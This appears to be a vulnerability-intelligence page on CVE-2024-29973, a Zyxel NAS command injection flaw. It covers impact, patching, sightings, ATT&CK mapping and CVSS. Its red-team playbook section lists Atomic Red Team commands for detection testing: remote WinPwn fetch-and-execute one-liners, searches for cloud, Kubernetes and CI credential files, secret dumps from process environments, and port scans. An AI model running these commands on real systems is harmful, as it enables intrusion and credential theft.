CVE-2024-29973

CRITICAL POC TTE 15d Pub 04/06 Upd 02/08

Overview

This vulnerability is a command injection flaw rooted in improper input validation of the "setCookie" parameter within Zyxel NAS326 and NAS542 firmware. The affected component fails to sanitize user-supplied data in HTTP POST requests, allowing execution of arbitrary operating system commands. The flaw exists in firmware versions prior to V5.21(AAZF.17)C0 for NAS326 and V5.21(ABAG.14)C0 for NAS542 devices.

Vulnerability Description

** UNSUPPORTED WHEN ASSIGNED ** The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.

Impact

An unauthenticated remote attacker can execute arbitrary OS commands on vulnerable Zyxel NAS326 and NAS542 devices by exploiting this flaw, potentially compromising device integrity and confidentiality. No authentication or user interaction is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This can lead to full system compromise, data theft, service disruption, or lateral movement within the network environment where the device resides.

Solution

Zyxel has released firmware updates addressing this vulnerability: NAS326 firmware version V5.21(AAZF.17)C0 and NAS542 firmware version V5.21(ABAG.14)C0. Users should apply these updates immediately as detailed in Zyxel’s security advisory available at https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities-in-nas-products-06-04-2024. No alternative workarounds are specified; patching is the recommended mitigation.

EPSS vs KEV Prediction — Evolution (30 days)

Exploited in Wild CONFIRMED

Ransomware NOT ASSOCIATED

Attacker Interest HIGH

Sightings Considerable activity

Threat Feed

32 events

2026-10-09

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-03

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-02

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-01

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-30

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-29

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-28

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-27

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-26

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-25

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-24

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-23

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-21

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-20

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-18

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-17

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-15

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-13

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-12

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-11

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-10

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-09

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-05

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-03

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-02

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-01

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-23

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-17

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-13

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-10

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2024-06-19

PoC Published (11 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Detected as Exploited in the Wild (42 sightings)

Active exploitation confirmed with 42 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope

Initial Access

TA0001

Execution

TA0002

Persistence

TA0003

Priv. Escalation

TA0004

Defense Evasion

TA0005

Credential Access

TA0006

Lateral Movement

TA0008

Collection

TA0009

Impact

TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection

100% command_injection

Remote Code Execution

80% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID	Name	Stage	Tactics	Platforms	Link
T1190	Exploit Public-Facing Application	Initial Access	initial-access	Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059	Command and Scripting Interpreter	Kill Chain	execution	ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001	System Firmware	Kill Chain	persistence, defense-evasion	Windows, Network Devices
T1552.001	Credentials In Files	Kill Chain	credential-access	Containers, IaaS, Linux, macOS, Windows
T1046	Network Service Discovery	Kill Chain	discovery	Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004	SSH	Kill Chain	lateral-movement	ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID	Name	ML Conf.	Likelihood	Severity	Link
CAPEC-88	OS Command Injection	55%	High	High
CAPEC-6	Argument Injection	51%	High	High
CAPEC-43	Exploiting Multiple Input Interpretation Layers	48%	Medium	High

Red Team Playbook

49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged

An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.

Command (PowerShell)

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false

T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD

An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)

Command (CMD)

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"

T1046 Network Service Discovery for Containers containers Shell

Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...

Command (Shell)

docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh

T1046 Port Scan Linux, macOS Bash

Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.

Command (Bash)

for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done

T1046 Port Scan NMap for Windows Windows PowerShell Privileged

Scan ports to check for listening ports for the local host 127.0.0.1

Command (PowerShell)

nmap #{host_to_scan}

T1046 Port Scan Nmap Linux, macOS Shell Privileged

Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.

Command (Shell)

sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}

T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged

Scan multiple ports to check for listening ports with nmap

Command (Shell)

nmap -Pn -sV -p #{port_range} #{host}

T1046 Port Scan using python Windows PowerShell

Scan ports to check for listening ports with python

Command (PowerShell)

python "#{filename}" -i #{host_ip}

T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell

Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...

Command (PowerShell)

$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}

T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged

Availability of remote desktop services can be checked using get- cmdlet of PowerShell

Command (PowerShell)

Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"

T1046 WinPwn - MS17-10 Windows PowerShell

Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput

T1046 WinPwn - bluekeep Windows PowerShell

Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput

T1046 WinPwn - fruit Windows PowerShell

Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput

T1046 WinPwn - spoolvulnscan Windows PowerShell

Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput

T1046 Windows - Port Scan using RustScan (Port list) Windows PowerShell

Scan ports on a target host using RustScan. Downloads the portable RustScan release binary and scans 127.0.0.1 by default. Uses --greppable so that nmap is not a dependency.

Command (PowerShell)

& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}

T1059 AutoIt Script Execution Windows PowerShell

An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.

Command (PowerShell)

Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"

T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged

Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...

Command (PowerShell)

echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"

T1552.001 Access Drone CI Config File Linux, macOS Shell

Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Gitlab CI Config File Linux, macOS Shell

Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Jenkinsfile Linux, macOS Shell

Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Travis CI Config File Linux, macOS Shell

Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access unattend.xml Windows CMD Privileged

Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.

Command (CMD)

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml

T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash

Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...

Command (Bash)

for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done

T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged

[LaZagne Source](https://github.com/AlessandroZ/LaZagne)

Command (Bash)

python2 laZagne.py all

T1552.001 Extract passwords with grep Linux, macOS Shell

Extracting credentials from files

Command (Shell)

grep -ri password #{file_path}
exit 0

T1552.001 Extracting passwords with findstr Windows PowerShell

Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.

Command (PowerShell)

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password

T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell

Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...

Command (Shell)

find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null

T1552.001 Find AWS credentials Linux, macOS Shell

Find local AWS credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null

T1552.001 Find Azure credentials Linux, macOS Shell

Find local Azure credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Docker credentials Linux, macOS Shell

Find local Docker credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find GCP credentials Linux, macOS Shell

Find local Google Cloud Platform credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find HashiCorp Vault token files Linux, macOS Shell

Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged

Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...

Command (Shell)

find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Kubernetes user configuration files Linux, macOS Shell

Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.

Command (Shell)

find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null

T1552.001 Find OCI credentials Linux, macOS Shell

Find local Oracle cloud credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null

T1552.001 Find Terraform credential files Linux, macOS Shell

Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.

Command (Shell)

for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done

T1552.001 Find and Access Github Credentials Linux, macOS Shell

Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find database credential files Linux, macOS Shell

Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.

Command (Shell)

for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done

T1552.001 Find npm registry credential files Linux, macOS Shell

Find .npmrc files, which may contain plaintext npm registry authentication tokens.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find system database configuration files Linux Shell Privileged

Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.

Command (Shell)

find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null

T1552.001 List Credential Files via Command Prompt Windows CMD Privileged

Via Command Prompt,list files where credentials are stored in Windows Credential Manager

Command (CMD)

dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged

Via PowerShell,list files where credentials are stored in Windows Credential Manager

Command (PowerShell)

$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\

T1552.001 Search for Git Credential Files Linux, macOS Shell

Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell

Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive

T1552.001 WinPwn - SessionGopher Windows PowerShell

Launches SessionGopher on this system via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput

T1552.001 WinPwn - Snaffler Windows PowerShell

Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput

T1552.001 WinPwn - passhunt Windows PowerShell

Search for Passwords on this system using passhunt via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive

T1552.001 WinPwn - powershellsensitive Windows PowerShell

Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive

T1552.001 WinPwn - sensitivefiles Windows PowerShell

Search for sensitive files on this local system using the SensitiveFiles function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

CVSS Analysis

CVSS v3.1

9.8

EXPLOITABILITY

Attack Vector

Network AV:N

Attack Complexity

Low AC:L

Privileges Required

None PR:N

User Interaction

None UI:N

SCOPE

Scope

Unchanged S:U

IMPACT

Confidentiality

High C:H

Integrity

High I:H

Availability

High A:H

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vectors

CWE

CWE-78

Prioritization

KEV Prediction

12.4%

Percentile

69%

LEV

83.2%

SSVC

Decision

Attend

Exploitation

Poc

Automatable

Yes

Technical Impact

Total

Threat Level

CISA KEV

NO

Exploited in Wild

YES

Exploit Available

NO

PoC Available

YES

Ransomware

NO